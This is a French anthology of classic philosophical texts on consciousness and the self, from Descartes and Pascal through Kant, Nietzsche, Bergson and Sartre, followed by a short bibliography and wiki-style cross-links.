19 janvier 1642, Garnier T. II, p. 909. DESCARTES La méditation que je fis hier m'a rempli l'esprit de tant de doutes, qu'il n'est plus désormais en ma puissance de les oublier. Et cependant je ne vois pas de quelle façon je les pourrai résoudre; et comme si tout à coup j'étais tombé dans une eau très profonde, je suis tellement surpris que je ne puis ni assurer mes pieds dans le fond, ni nager pour me soutenir au-dessus. Je m'efforcerai néanmoins, et suivrai derechef la même voie où j'étais entré hier, en m'éloignant de tout ce en quoi je pourrai imaginer le moindre doute, tout de même que si je connaissais que cela fût absolument faux; et je continuerai toujours dans ce chemin, jusqu'à ce que j'aie rencontré quelque chose de certain, ou du moins, si je ne puis autre chose, jusqu'à ce que j'aie appris certainement qu'il n'y a rien au monde de certain. Archimède, pour tirer le globe terrestre de sa place et le transporter en un autre lieu, ne demandait rien qu'un point qui fût fixe et assuré. Ainsi j'aurai droit de concevoir de hautes espérances si je suis assez heureux pour trouver seulement une chose qui soit certaine et indubitable. Je suppose donc que toutes les choses que je vois sont fausses; je me persuade que rien n'a jamais été de tout ce que ma mémoire remplie de mensonges me représente; je pense n'avoir aucun sens; je crois que le corps, la figure, l'étendue, le mouvement et le lieu ne sont que des fictions de mon esprit. Qu'est-ce donc qui pourra être estimé véritable ? Peut-être rien autre chose, sinon qu'il n'y a rien au monde de certain. Mais que sais-je s'il n'y a point quelque autre chose différente de celles que je viens de juger incertaines, de laquelle on ne puisse avoir le moindre doute ? N'y a-t-il point quelque Dieu, ou quelque autre puissance, qui me met en l'esprit ces pensées ? Cela n'est pas nécessaire, car peut-être que je suis capable de les produire de moi-même. Moi donc à tout le moins ne suis-je pas quelque chose ? Mais j'ai déjà nié que j'eusse aucun sens ni aucun corps. J'hésite néanmoins, car que s'ensuit-il de là ? Suis-je tellement dépendant du corps et des sens que je ne puisse être sans eux ? Mais je me suis persuadé qu'il n'y avait rien du tout dans le monde, qu'il n'y avait aucun ciel, aucune terre, aucuns esprits, ni aucuns corps; ne me suis-je donc pas aussi persuadé que je n'étais point ? Non certes, j'étais sans doute, si je me suis persuadé, ou seulement si j'ai pensé quelque chose. Mais il y a un je ne sais quel trompeur très puissant et très rusé, qui emploie toute son industrie à me tromper toujours. Il n'y a donc point de doute que je suis, s'il me trompe; et qu'il me trompe tant qu'il voudra, il ne saurait jamais faire que je ne sois rien, tant que je penserai être quelque chose. De sorte qu'après y avoir bien pensé, et avoir soigneusement examiné toutes choses, enfin il faut conclure, et tenir pour constant que cette proposition : Je suis, j'existe, est nécessairement vraie, toutes les fois que je la prononce ou que je la conçois en mon esprit. Méditations métaphysiques (1641), Méditation seconde PASCAL Je puis bien concevoir un homme sans mains, pieds, tête (car ce n'est que l'expérience qui nous apprend que la tête est plus nécessaire que les pieds). Mais je ne puis concevoir l'homme sans pensée : ce serait une pierre ou une brute. Pensée fait la grandeur de l'homme. L'homme n'est qu'un roseau, le plus faible de la nature; mais c'est un roseau pensant. Il ne faut pas que l'univers entier s'arme pour l'écraser : une vapeur, une goutte d'eau, suffit pour le tuer. Mais, quand l'univers l'écraserait, l'homme serait encore plus noble que ce qui le tue, puisqu'il sait qu'il meurt, et l'avantage que l'univers a sur lui, l'univers n'en sait rien. Toute notre dignité consiste donc en la pensée. C'est de là qu'il faut nous relever et non de l'espace et de la durée, que nous ne saurions remplir. Travaillons donc à bien penser : voilà le principe de la morale. Roseau pensant. — Ce n'est point de l'espace que je dois chercher ma dignité, mais c'est du règlement de ma pensée. Je n'aurai pas davantage en possédant des terres : par l'espace, l'univers me comprend et m'engloutit comme un point; par la pensée, je le comprends. Pensées (1670), fragments 339, 346, 347 et 348 PASCAL La grandeur de l'homme est grande en ce qu'il se connaît misérable. Un arbre ne se connaît pas misérable. C'est donc être misérable que de se connaître misérable ; mais c'est être grand que de connaître qu'on est misérable. Penser fait la grandeur de l'homme. Je puis bien concevoir un homme sans mains, pieds, tête (car ce n'est que l'expérience qui nous apprend que la tête est plus nécessaire que les pieds). Mais je ne puis concevoir un homme sans pensée : ce serait une pierre ou une brute. [...] L'homme n'est qu'un roseau, le plus faible de la nature ; mais c'est un roseau pensant. Il ne faut pas que l'univers entier s'arme pour l'écraser : une vapeur, une goutte d'eau, suffit pour le tuer. Mais, quand l'univers l'écraserait, l'homme serait encore plus noble que ce qui le tue, parce qu'il sait qu'il meurt, et l'avantage de l'univers a sur lui, l'univers n'en sait rien. Toute notre dignité consiste donc en la pensée. C'est de là qu'il nous faut relever et non de l'espace et de la durée, que nous ne saurions remplir. Travaillons donc à bien penser : voilà le principe de la morale Pensées LOCKE Cela posé, pour trouver en quoi consiste l'identité personnelle, il faut voir ce qu'emporte le mot de personne. C'est, à ce que je crois, un Être pensant et intelligent, capable de raison et de réflexion, et qui se peut consulter soi-même comme le même, comme une même chose qui pense en différents temps et en différents lieux ; ce qu'il fait uniquement par le sentiment qu'il a de ses propres actions, lequel est inséparable de la pensée, et lui est, ce me semble, entièrement essentiel, étant impossible à quelque Être que ce soit d'apercevoir sans apercevoir qu'il aperçoit. Lorsque nous voyons, que nous entendons, que nous flairons, que nous goûtons, que nous sentons, que nous méditons, ou que nous voulons quelque chose, nous le connaissons à mesure que nous le faisons. Cette connaissance accompagne toujours nos sensations et nos perceptions présentes : et c'est par là que chacun est à lui-même ce qu'il appelle soi-même. (...) Car puisque la conscience accompagne toujours la pensée, et que c'est là ce qui fait que chacun est ce qu'il nomme soi-même, et par où il se distingue de toute autre chose pensante : c'est aussi en cela seul que consiste l'identité personnelle, ou ce qui fait qu'un Être raisonnable est toujours le même. Et aussi loin que cette conscience peut s'étendre sur les actions ou les pensées déjà passées, aussi loin s'étend l'identité de cette personne : le soi est présentement le même qu'il était alors : et cette action passée a été faite par le même soi que celui qui se la remet à présent dans l'esprit. Essai philosophique concernant l'entendement humain HUME Il y a certains philosophes qui imaginent que nous avons à tout moment la conscience intime de ce que nous appelons notre moi ; que nous sentons son existence et sa continuité d'existence ; et que nous sommes certains, plus que par l'évidence d'une démonstration, de son identité et de sa simplicité parfaites. Pour ma part, quand je pénètre le plus intimement dans ce que j'appelle moi, je bute toujours sur une perception particulière ou sur une autre, de chaud ou de froid, de lumière ou d'ombre, d'amour ou de haine, de douleur ou de plaisir. Je ne peux jamais me saisir, moi, en aucun moment sans une perception et je ne peux rien observer que la perception. Quand mes perceptions sont écartées pour un temps, comme par un sommeil tranquille, aussi longtemps, je n'ai plus conscience de moi et on peut dire vraiment que je n'existe pas. Si toutes mes perceptions étaient supprimées par la mort et que je ne puisse ni penser ni sentir, ni voir, ni aimer, ni haïr après la dissolution de mon corps, je serais entièrement annihilé et je ne conçois pas ce qu'il faudrait de plus pour faire de moi un parfait néant. Si quelqu'un pense, après une réflexion sérieuse et impartiale, qu'il a, de lui-même, une connaissance différente, il me faut l'avouer, je ne peux raisonner plus longtemps avec lui. Traité de la nature humaine, trad. A. Leroy, t. I, Aubier-Montaigne, 1968, pp. 342-344. ROUSSEAU Conscience ! conscience ! instinct divin, immortelle et céleste voix ; guide assuré d'un être ignorant et borné, mais intelligent et libre ; juge infaillible du bien et du mal, qui rends l'homme semblable à Dieu, c'est toi qui fais l'excellence de sa nature et la moralité de ses actions ; sans toi je ne sens rien en moi qui m'élève au-dessus des bêtes, que le triste privilège de m'égarer d'erreurs en erreurs à l'aide d'un entendement sans règle et d'une raison sans principe. Grâce au ciel, nous voilà délivrés de tout cet effrayant appareil de philosophie : nous pouvons être hommes sans être savants ; dispensés de consumer notre vie à l'étude de la morale, nous avons à moindres frais un guide plus assuré dans ce dédale immense des opinions humaines. Mais ce n'est pas assez que ce guide existe, il faut savoir le reconnaître et le suivre. S'il parle à tous les c urs, pourquoi donc y en a-t-il si peu qui l'entendent ? Eh ! c'est qu'il nous parle la langue de la nature, que tout nous a fait oublier. La conscience est timide, elle aime la retraite et la paix ; le monde et le bruit l'épouvantent : les préjuges dont on la fait naître sont ses plus cruels ennemis ; elle fuit ou se tait devant eux : leur voix bruyante étouffe la sienne et l'empêche de se faire entendre ; le fanatisme ose la contrefaire, et dicter le crime en son nom. Elle se rebute enfin à force d'être éconduite ; elle ne nous parle plus, elle ne nous répond plus, et, après de si longs mépris pour elle, il en coûte autant de la rappeler qu'il en coûta de la bannir. Profession de foi du vicaire savoyard KANT Le Je pense doit pouvoir accompagner toutes mes représentations ; car, sinon, quelque chose serait représenté en moi qui ne pourrait pas du tout être pensé, ce qui revient à dire que la représentation serait impossible, ou, du moins, qu'elle ne serait rien pour moi. Une telle représentation, qui peut être donnée avant toute pensée (Denken), s'appelle intuition. Donc tout divers de l'intuition a un rapport nécessaire au Je pense dans ce même sujet où ce divers se rencontre. Mais cette représentation est un acte de la spontanéité, c'est-à-dire qu'elle ne peut être considérée comme appartenant à la sensibilité. Je l'appelle l'aperception pure, pour la distinguer de l'aperception empirique, ou encore l'aperception originaire, parce qu'elle est cette conscience de soi qui, tout en produisant la représentation Je pense, doit pouvoir accompagner toutes les autres représentations, et qui, une et identique en toute conscience, ne peut être accompagnée au-delà (weiterbegleitet) d'aucune. Critique de la Raison pure, 2e ed, (1787) HEGEL Le contenu concret de la certitude sensible la fait apparaître à première vue comme la connaissance la plus riche, voire comme une connaissance d'une richesse infinie, pour laquelle on ne peut trouver aucune limite, ni quand nous allons au-delà d'elle dans l'espace et le temps où elle se déploie, - ni quand nous détachons un fragment de cette plénitude et que nous y pénétrons en le divisant. Elle apparaît de plus comme la plus vraie, car elle n'a encore rien écarté de l'objet, mais l'a devant elle tout entier. Cependant, en fait cette certitude se révèle comme la vérité la plus abstraite et la plus pauvre. De ce qu'elle sait elle dit seulement : « cela est » ; sa vérité ne contient que l'être de la chose. D'un autre côté, la conscience n'est dans cette certitude que le Moi pur, en d'autres termes Je suis là seulement comme pur Celui-ci et l'objet n'est que pur Celui-là. La Phénoménologie de l'esprit NIETZSCHE Du « génie de l'espèce ». Le problème de la conscience (ou plus exactement : de la conscience de soi) ne se présente à nous que lorsque nous commençons à comprendre en quelle mesure nous pourrions nous passer de la conscience : la physiologie et la zoologie nous placent maintenant au début de cette compréhension (il a donc fallu deux siècles pour rattraper la prémonitoire défiance de Leibniz1), Car nous pourrions penser, sentir, vouloir, nous souvenir, nous pourrions également « agir » dans toutes les acceptions du mot, sans qu'il soit nécessaire que nous « ayons conscience » de tout cela. La vie tout entière serait possible sans qu'elle se vît en quelque sorte dans une glace : comme d'ailleurs, maintenant encore, la plus grande partie de la vie s'écoule chez nous sans qu'il y ait une pareille réflexion , et de même la partie pensante, sensitive et agissante de notre vie, quoiqu'un philosophe ancien puisse trouver quelque chose d'offensant dans cette idée. Pourquoi donc la conscience si, pour tout ce qui est essentiel, elle est superflue ? Dès lors, si l'on veut écouter ma réponse à cette question et les suppositions, peut-être lointaines, qu'elle me suggère, la finesse et la force de la conscience me paraissent toujours être en rapport avec la faculté de communication d'un homme (ou d'un animal), et cette faculté fonction du besoin de communiquer : mais il ne faut pas entendre ceci comme si l'individu qui serait justement maîtres dans l'art de communiquer et d'expliquer ses besoins devrait être lui-même réduit, plus que tout autre, à compter sur ses semblables pour ses besoins. Il me semble en revanche qu'il en est ainsi pour des races tout entières et des générations successives : quand le besoin, la misère, ont longtemps forcé les hommes à se communiquer, à se comprendre réciproquement d'une façon rapide et subite, il finit par se former un excédent de cette force et de cet art de la communication, en quelque sorte une fortune qui s'est amassée peu à peu, et qui attend maintenant un héritier qui la dépense avec prodigalité (ceux que l'on appelle des artistes sont de ces héritiers, de même les orateurs, les prédicateurs, les écrivains : toujours des hommes qui arrivent au bout d'une longue chaîne, des hommes tardifs au meilleur sens du mot, et qui, de par leur nature, sont des dissipateurs). En admettant que cette observation soit juste, je puis continuer par cette supposition que la conscience s'est seulement développée sous la pression du besoin de communication, que, de prime abord, elle ne fut nécessaire et utile que dans les rapports d'homme à homme (surtout dans les rapports entre ceux qui commandent et ceux qui obéissent) et qu'elle ne s'est développée qu'en regard de son degré d'utilité dans ce domaine. La conscience n'est en somme qu'un réseau de communications d'homme à homme, ce n'est que comme telle qu'elle a été forcée de se développer : l'homme solitaire et bête de proie aurait pu s'en passer. Le fait que nos actes, nos pensées, nos sentiments, nos mouvements parviennent à notre conscience du moins en partie est la conséquence d'une terrible nécessité qui a longtemps dominé l'homme : étant l'animal qui courait le plus de dangers, il avait besoin d'aide et de protection, il avait besoin de ses semblables, il était forcé de savoir exprimer sa détresse, de savoir se rendre intelligible et pour tout la il lui fallait d'abord la « conscience », pour « savoir » lui-même ce qui lui manquait, « savoir » quelle était sa disposition d'esprit, « savoir » ce qu'il pensait. Car, je le répète, l'homme comme tout être vivant pense sans cesse, mais ne le sait pas ; la pensée qui devient consciente n'en est que la plus petite partie, disons : la partie la plus médiocre et la plus superficielle ; car c'est cette pensée consciente seulement qui s'effectue en paroles, c'est-à-dire en signes de- communication par quoi l'origine même de la conscience se révèle. En un mot, le développement du langage et le développement de la conscience (non de la raison, mais seulement de la raison qui devient consciente d'elle même) se donnent la main. Il faut ajouter encore que ce n'est pas seulement le langage qui sert d'intermédiaire entre les hommes, mais encore le regard, la pression, le geste ; la conscience des impressions de nos propres sens, la faculté de pouvoir les fixer et de les déterminer, en quelque sorte en dehors de nous-mêmes, ont augmenté dans la mesure où grandissait la nécessité de les communiquer à d'autres par des signes. L'homme inventeur de signes est en même temps l'homme qui prend conscience de lui-même d'une façon toujours plus aiguë ; ce n'est que comme animal social que l'homme apprend à devenir conscient de lui-même, il le fait encore, il le fait toujours davantage. Mon idée est, on le voit, que la conscience ne fait pas proprement partie de l'existence individuelle de l'homme, mais plutôt de ce qui appartient chez lui à la nature de la communauté et du troupeau ; que, par conséquent, la conscience n'est développée d'une façon subtile que par rapport à son utilité pour la communauté et le troupeau, donc que chacun de nous, malgré son désir de se comprendre soi-même aussi individuellement que possible, malgré son désir « de se connaître soi-même », ne prendra toujours conscience que de ce qu'il y a de non-individuel chez lui, de ce qui est « moyen » en lui, que notre pensée elle-même est sans cesse en quelque sorte écrasée par le caractère propre de la conscience, par le « génie de l'espèce » qui la commande et retraduite dans la perspective du troupeau. Tous nos actes sont au fond incomparablement personnels, uniques, immensément individuels, il n'y a à la aucun doute ; mais dès que nous les transcrivons dans la conscience, il ne parait plus qu'il en soit ainsi... Ceci est le véritable phénoménalisme, le véritable perspectivisme tel que moi je l'entends : la nature de la conscience animale veut que le monde dont nous pouvons avoir conscience ne soit qu'un monde de surface et de signes, un monde généralisé et vulgarisé, que tout ce qui devient conscient devient par là plat, mince, relativement bête, devient généralisation, signe, marque du troupeau, que, dès que l'on prend conscience, il se produit une grande corruption foncière, une falsification, un aplatissement, une vulgarisation. En fin de compte, l'accroissement de la conscience est un danger et celui qui vit parmi les Européens les plus conscients sait même que c'est là une maladie. On devine que ce n'est pas l'opposition entre le sujet et l'objet qui me préoccupe ici ; je laisse cette distinction aux théoriciens de la connaissance qui sont restés accrochés dans les filets de la grammaire (la métaphysique du peuple). C'est moins encore l'opposition entre la « chose en soi » et l'apparence : car nous sommes loin de « connaître » assez pour pouvoir établir cette distinction. A vrai dire nous ne possédons absolument pas d'organe pour la connaissance, pour la « vérité » : nous « savons » (ou plutôt nous croyons savoir, nous nous figurons) justement autant qu'il est utile que nous sachions dans l'intérêt du troupeau humain, de l'espèce : et même ce qui est appelé ici « utilité » n'est, en fin de compte, qu'une croyance, un jouet de l'imagination et peut-être cette bêtise très néfaste qui un jour nous fera périr. Le Gai Savoir, V, § 354 NIETZSCHE La conscience est la dernière et la plus tardive évolution de la vie organique, et par conséquent ce qu'il y a de moins accompli et de plus fragile en elle. C'est de la vie consciente que procèdent d'innombrables faux pas, actes manqués qui font qu'un animal, un être humain périssent avant qu'il n'eût été nécessaire »en dépit du destin », comme dit Homère. N'était le lien conservateur, infiniment plus fort, des instincts, n'était la vertu régulatrice qu'il exerce dans l'ensemble, l'humanité devrait périr du fait de ses jugements pervertis, de ses délires à l'état de veille, de son manque de fondement et de sa crédulité, bref de sa vie consciente même : ou bien plutôt sans tous ces phénomènes l'humanité au ! ait disparu depuis longtemps ! Avant qu'une fonction soit développée et mûre, elle constitue un danger pour l'organisme : tant mieux si pendant ce temps elle est rudement tyrannisée ! Ainsi se voit rudement tyrannisée la conscience et sans doute sa propre fierté n'est-elle pas ici la moins tyrannique ! On croit que c'est là le noyau de l'homme : ce qu'il a de permanent, d'éternel, d'ultime, de plus originel ! On tient la conscience pour une quantité stable donnée ! On nie sa croissance, ses intermittences ! On la conçoit comme « unité de l'organisme » ! Cette surestimation et cette méconnaissance ridicules de la Conscience ont eu pour heureuse conséquence d'éviter son élaboration trop rapide. Parce que les hommes croyaient déjà posséder la conscience ils se sont donné d'autant moins de mal à l'acquérir, et aujourd'hui encore il n'en est guère autrement ! S'assimiler le savoir, se le rendre instinctif, voilà qui constitue une tâche absolument nouvelle, à peine discernable, dont le regard humain devine tout juste la lueur une tâche qui n'est discernée que de ceux qui ont compris que seules jusqu'à présent nos erreurs s'étaient assimilées à nous et que toute notre conscience ne se rapporte qu'à des erreurs ! Le gai savoir, I, § 11 BERGSON Comment n'être pas frappé du fait que l'homme est capable d'apprendre n'importe quel exercice, de fabriquer n'importe quel objet, enfin d'acquérir n'importe quelle habitude motrice, alors que la faculté de combiner des mouvements nouveaux est strictement limitée chez l'animal le mieux doué, même chez le singe ? La caractéristique cérébrale de l'homme est là. Le cerveau humain est fait, comme tout cerveau, pour monter des mécanismes moteurs et pour nous laisser choisir parmi eux, à un instant quelconque, celui que nous mettrons en mouvement par un jeu de déclic. Mais il diffère des autres cerveaux en ce que le nombre des mécanismes qu'il peut monter, et par conséquent le nombre des déclics entre lesquels il donne le choix, est indéfini. Or, du limité à l'illimité il y a toute la distance du fermé à l'ouvert. Ce n'est pas une différence de degré, mais de nature. Radicale aussi, par conséquent, est la différence entre la conscience de l'animal, même le plus intelligent, et la conscience humaine. Car la conscience correspond exactement à la puissance de choix dont l'être vivant dispose ; elle est coextensive à la frange d'action possible qui entoure l'action réelle : conscience est synonyme d'invention et de liberté. Or, chez l'animal, l'invention n'est jamais qu'une variation sur le thème de la routine. Enfermé dans les habitudes de l'espèce, il arrive sans doute à les élargir par son initiative individuelle ; mais il n'échappe à l'automatisme que pour un instant, juste le temps de créer un automatisme nouveau : les portes de sa prison se referment aussitôt ouvertes ; en tirant sur sa chaîne il ne réussit qu'à l'allonger. Avec l'homme, la conscience brise la chaîne. Chez l'homme, et chez l'homme seulement, elle se libère. L'évolution créatrice, P.U.F., p. 264-265 MARX Dans la production sociale de leur existence, les hommes nouent des rapports déterminés, nécessaires, indépendants de leur volonté ; ces rapports de production correspondent à un degré donné du développement de leurs forces productives matérielles. L'ensemble de ces rapports forme ; la structure économique de la société, la fondation réelle sur laquelle s'élève un édifice juridique et politique, et à quoi répondent des formes déterminées de la conscience sociale. Le mode de production de la vie matérielle domine en général le développement de la vie sociale, politique et intellectuelle. Ce n'est pas la conscience des hommes qui détermine leur existence, c'est au contraire leur existence sociale qui détermine leur conscience. A un certain degré de leur développement, les forces productives matérielles de la société entrent en collision avec les rapports de production existants, ou avec les rapports de propriété au sein desquels elles s'étaient mues jusqu'alors, et qui n'en sont que l'expression juridique. Hier encore formes de développement des forces productives, ces conditions se changent en de lourdes entraves. Alors commence une ère de révolution sociale. Le changement dans les fondations économiques s'accompagne d'un bouleversement plus ou moins rapide dans tout cet énorme édifice. Quand on considère ce bouleversements il faut toujours distinguer deux ordres de choses. Il y a le bouleversement matériel des conditions de production économique. On doit le constater dans l'esprit de rigueur des sciences naturelles. Mais il y a aussi les formes juridiques, politiques, religieuses, artistiques, philosophiques, bref les formes idéologiques, dans lesquelles les hommes prennent conscience de ce conflit et le poussent jusqu'au bout. On ne juge pas une époque de révolution d'après la conscience qu'elle a d'elle-même. Avant-propos à la Critique de l'Économie politique ALAIN Dans le sommeil, je suis tout ; mais je n'en sais rien. La conscience suppose réflexion, division. La conscience n'est pas immédiate. Je pense, et puis je pense que je pense, par quoi je distingue Sujet et Objet, Moi et le monde. Moi et ma sensation. Moi et mon sentiment. Moi et mon idée. C'est bien le pouvoir de douter qui est la vie du moi. Par ce mouvement, tous les instants tombent au passé. Si l'on se retrouvait tout entier, c'est alors qu'on ne se reconnaîtrait pas. Le passé est insuffisant, dépassé. Je ne suis plus cet enfant, cet ignorant, ce naïf. ce moment-là même j'étais autre chose en espérance en avenir. La conscience de soi est la conscience d'un devenir et d'une formation de soi irréversible, irréparable. Ce que je voulais, je le suis devenu. Voilà le lien entre le passé et le présent, pour le mal comme pour le bien. Ainsi le moi est un refus d'être moi, qui en même temps conserve les moments dépassés. Se souvenir, c'est sauver ses souvenirs, c'est se témoigner qu'on les a dépassés. c'est les juger. Le passé, ce sont des expérience que je ne ferai plus. Un artiste reconnaît dans ses oeuvres qu'il ne s'était pas encore trouvé lui-même, qu'il ne s'était pas encore délivré ; mais il y retrouve un pressentiment de ce qui a suivi. C'est cet élan qui ordonne les souvenirs selon le temps. Annales du Baccalauréat ALAIN L'âme c'est ce qui refuse le corps. Par exemple ce qui refuse de fuir quand le corps tremble, ce qui refuse de frapper quand le corps s'irrite, ce qui refuse de boire quand le corps a soif, ce qui refuse de prendre quand le corps désire, ce qui refuse d'abandonner quand le corps a horreur. Ces refus sont des faits de l'homme. Le total refus est la sainteté ; l'examen avant de suivre est la sagesse ; et cette force de refus c'est l'âme. Le fou n'a aucune force de refus ; il n'a plus d'âme. On dit aussi qu'il n'a plus conscience et c'est vrai. Qui cède absolument à son corps soit pour frapper, soit pour fuir, soit seulement pour parler, ne sait plus ce qu'il fait ni ce qu'il dit. On ne prend conscience que par opposition de soi à soi. Exemple : Alexandre à la traversée d'un désert reçoit un casque plein d'eau ; il remercie, et le verse par terre devant toute l'arme. Magnanimité ; âme, c'est-à-dire grande âme. Il n'y a point d'âme vile ; mais seulement on manque d'âme. Ce beau mot ne désigne nullement un être, mais toujours une action. Annales du Baccalauréat SARTRE Que doit donc être une conscience pour qu'elle puisse successivement poser des objets réels et des objets imagés ? (...) La condition pour qu'une conscience puisse imaginer est donc double : il faut à la fois qu'elle puisse poser le monde dans sa totalité synthétique et, à la fois, qu'elle puisse poser l'objet imaginé comme hors d'atteinte par rapport à cet ensemble synthétique, c'est-à-dire poser le monde comme un néant par rapport à l'image. Il suit de là clairement que toute création d'imaginaire serait totalement impossible à une conscience dont la nature serait précisément d'être « au-milieu-du-monde ». Si nous supposons en effet une conscience placée au sein du monde comme un existant parmi d'autres, nous devons la concevoir, par hypothèse, comme soumise sans recours à l'action des diverses réalités sans qu'elle puisse par ailleurs dépasser le détail de ces réalités par une intuition qui embrasserait leur totalité. Cette conscience ne pourrait donc contenir que des modifications réelles provoquées par des actions réelles et toute imagination lui serait interdite, précisément dans la mesure où elle serait enlisée dans le réel. Cette conception d'une conscience embourbée dans le monde ne nous est pas inconnue car c'est précisément celle du déterminisme psychologique. Nous pouvons affirmer sans crainte que, si la conscience est une succession de faits psychiques déterminés, il est totalement impossible qu'elle produise jamais autre chose que du réel. Pour qu'une conscience puisse imaginer il faut qu'elle échappe au monde par sa nature même, il faut qu'elle puisse tirer d'elle-même une position de recul par rapport au monde. En un mot il faut qu'elle soit libre. L'Imaginaire, Paris, Ed. Gallimard, 1940, pp 346-353. SARTRE « Il la mangeait des yeux. » Cette phrase et beaucoup d'autres signes marquent assez l'illusion commune au réalisme et à l'idéalisme, selon laquelle connaître, c'est manger. La philosophie française, après cent ans d'académisme, en est encore là. Nous avons tous lu Brunschvicg, Lalande et Meyerson, nous avons tous cru que l'Esprit-Araignée attirait les choses dans sa toile, les couvrait d'une bave blanche et lentement les déglutissait, les réduisait à sa propre substance. Qu'est-ce qu'une table, un rocher, une maison ? Un certain assemblage de « contenus de conscience », un ordre de ces contenus. O philosophie alimentaire ! Rien ne semblait pourtant plus évident : la table n'est-elle pas le contenu actuel de ma perception, ma perception n'est-elle pas l'état présent de ma conscience ? Nutrition, assimilation. Assimilation, disait M. Lalande, des choses aux idées, des idées entre elles et des esprits entre eux. Les puissantes arêtes du monde étaient rongées par ces diligentes diastases : assimilation, unification, identification. En vain, les plus simples et les plus rudes parmi nous cherchaient-ils quelque chose de solide, quelque chose, enfin, qui ne fût pas l'esprit ; ils ne rencontraient partout qu'un brouillard mou et si distingué : eux-mêmes. Contre la philosophie digestive de l'empiriocriticisme, du néo-kantisme, contre tout « psychologisme », Husserl ne se lasse pas d'affirmer qu'on ne peut pas dissoudre les choses dans la conscience. Vous voyez cet arbre-ci, soit. Mais vous le voyez à l'endroit même où il est : au bord de la route au milieu de la poussière, seul et tordu sous la chaleur, à vingt lieues de la côte méditerranéenne. Il ne saurait entrer dans votre conscience, car il n'est pas de même nature qu'elle. Vous croyez ici reconnaître Bergson et le premier chapitre de Matière et Mémoire. Mais Husserl n'est point réaliste : cet arbre sur son bout de terre craquelé, il n'en fait pas un absolu qui entrerait, par après, en communication avec nous. La conscience et le monde sont donnés d'un même coup : extérieur par essence à la conscience, le monde est, par essence, relatif à elle. C'est que Husserl voit dans la conscience un fait irréductible qu'aucune image physique ne peut rendre. Sauf, peut-être, l'image rapide et obscure de l'éclatement Connaître, c'est « s'éclater vers », s'arracher à la moite intimité gastrique pour filer, là-bas, par delà soi, vers ce qui n'est pas soi, là-bas, près de l'arbre et cependant hors de lui car il m'échappe et me repousse et je ne peux pas plus me perdre en lui qu'il ne se peut diluer en moi : hors de lui, hors de moi. Est-ce que vous ne reconnaissez pas dans cette description vos exigences et vos pressentiments ? Vous saviez bien que l'arbre n'était pas vous, que vous ne pouviez pas le faire entrer dans vos estomacs sombres et que la connaissance ne pouvait pas, sans malhonnêteté, se comparer à la possession. Du même coup, la conscience s'est purifiée, elle est claire comme un grand vent, il n'y a plus rien en elle sauf un mouvement pour se fuir, un glissement hors de soi ; si, par impossible, vous entriez « dans » une conscience, vous seriez saisi par un tourbillon et rejeté au-dehors, près de l'arbre, en pleine poussière, car la conscience n'a pas de « dedans », elle n'est rien que le dehors d'elle-même et c'est cette fuite absolue, ce refus d'être substance qui la constituent comme une conscience. Imaginez à présent une suite lice d'éclatements qui nous arrachent à nous-mêmes, qui ne laissent même pas à un « nous-mêmes » le loisir de se former derrière eux, mais qui nous jettent au contraire au-delà d'eux, dans la poussière sèche du monde, sur la terre rude, parmi les choses ; imaginez que nous sommes ainsi rejetés, délaissés par notre nature même dans un monde indifférent, hostile et, rétif, vous aurez saisi le sens profond de la découverte que Husserl exprime dans cette fameuse phrase : « Toute conscience est conscience de quelque chose. » Il n'en faut pas plus pour mettre un terme à la philosophie douillette de l'immanence, où tout se fait par compromis, échanges protoplasmiques, par une tiède chimie cellulaire. La philosophie de la transcendance nous jette sur la grand-route, au milieu des menaces, sous une aveuglante lumière. Être, dit Heidegger, c'est être-dans-le-monde. Comprenez cet « être-dans » au sens de mouvement. Être, c'est éclater dans le monde, c est partir d'un néant de monde et de conscience pour soudain s'éclater-conscience-dans-le-monde. Que la conscience essaye de se reprendre, de coïncider enfin avec elle-même, tout au chaud, volets clos, elle s'anéantit. Cette nécessité pour la conscience d'exister comme conscience d'autre chose que soi, Husserl la nomme « intentionnalité ». J'ai parlé d'abord de la connaissance pour me faire mieux entendre : la philosophie française, qui nous a formés, ne connaît plus guère que l'épistémologie. Mais, pour Husserl et les phénoménologues, la conscience que nous prenons des choses ne se limite point à leur connaissance. La connaissance ou pure « représentation » n'est qu'une des formes possibles de ma conscience « de » cet arbre ; Je puis aussi l'aimer, le craindre, le haïr, et ce dépassement de la conscience par elle-même, qu'on nomme « intentionnalité », se retrouve dans la crainte, la haine et l'amour ; haïr autrui, c'est une manière encore de s'éclater vers lui, c est se trouver soudain en face d'un étranger dont on vit, dont on souffre d'abord la qualité objective de « haïssable ». Voilà que, tout d'un coup, ces fameuses réactions a subjectives », haine, amour, crainte, sympathie, qui flottaient dans la saumure malodorante de l'Esprit, s'en arrachent ; elles ne sont que des manières de découvrir le monde. Ce sont les choses qui se dévoilent soudain à nous comme haïssables, sympathiques, horribles, aimables. C'est une propriété de ce masque japonais que d'être terrible, une inépuisable, irréductible propriété qui constitue sa nature même, et non la somme de nos réactions subjectives à un morceau de bois sculpté. Husserl a réinstallé l'horreur et le charme dans les choses. Il nous a restitué le monde des artistes et des prophètes : effrayant, hostile, dangereux, avec des havres de grâce et d'amour. Il a fait la place nette pour un nouveau traité des passions qui s'inspirerait de cette vérité si simple et si profondément méconnue par nos raffinés : si nous aimons une femme, c'est parce qu'elle est aimable. Nous voilà délivrés de Proust. Délivrés en même temps de la a vie intérieure » ; en vain chercherions-nous, comme Amiel, comme une enfant qui s'embrasse l'épaule, les caresses, les dorlotements de notre intimité, puisque finalement tout est dehors, tout, jusqu'à nous-mêmes : dehors, dans le monde, parmi les autres. Ce n'est pas dans je ne sais quelle retraite que nous nous découvrirons : c'est sur la route, dans la ville au milieu de la foule, chose parmi les choses, homme parmi les hommes. La Nouvelle Revue Française, janvier 1939, in: Situations I, Tel Gallimard p.9-12. ==Bibliographie== *[[w:Descartes]], ''Discours de la méthode'' *[[w:Descartes]], ''[[Méditations métaphysiques]]'' *[[w:Descartes]], ''Principes de la philosophie'' *[[w:Pascal]], ''Pensées'' *[[w:Locke]], ''Essai sur l'entendement humain'' *[[w:Leibniz]], ''Nouveaux essais sur l'entendement humain'' *[[w:Kant]], ''[[w:Critique de la raison pure]]'' *[[w:Henri Bergson]], ''Essai sur les données immédiates de la conscience'' *[[w:Sigmund Freud]], ''Introduction à la psychanalyse'' *[[w:Sigmund Freud]], ''Cinq leçons de psychanalyse'' *[[w:Daniel Dennett]], ''La Conscience expliquée'' ==Voir aussi== [[Inconscient]] | [[w:Pensée|Pensée]] | [[Perception]] | [[w:Esprit|Esprit]] | [[w:Philosophie de l'esprit|Philosophie de l'esprit]] | 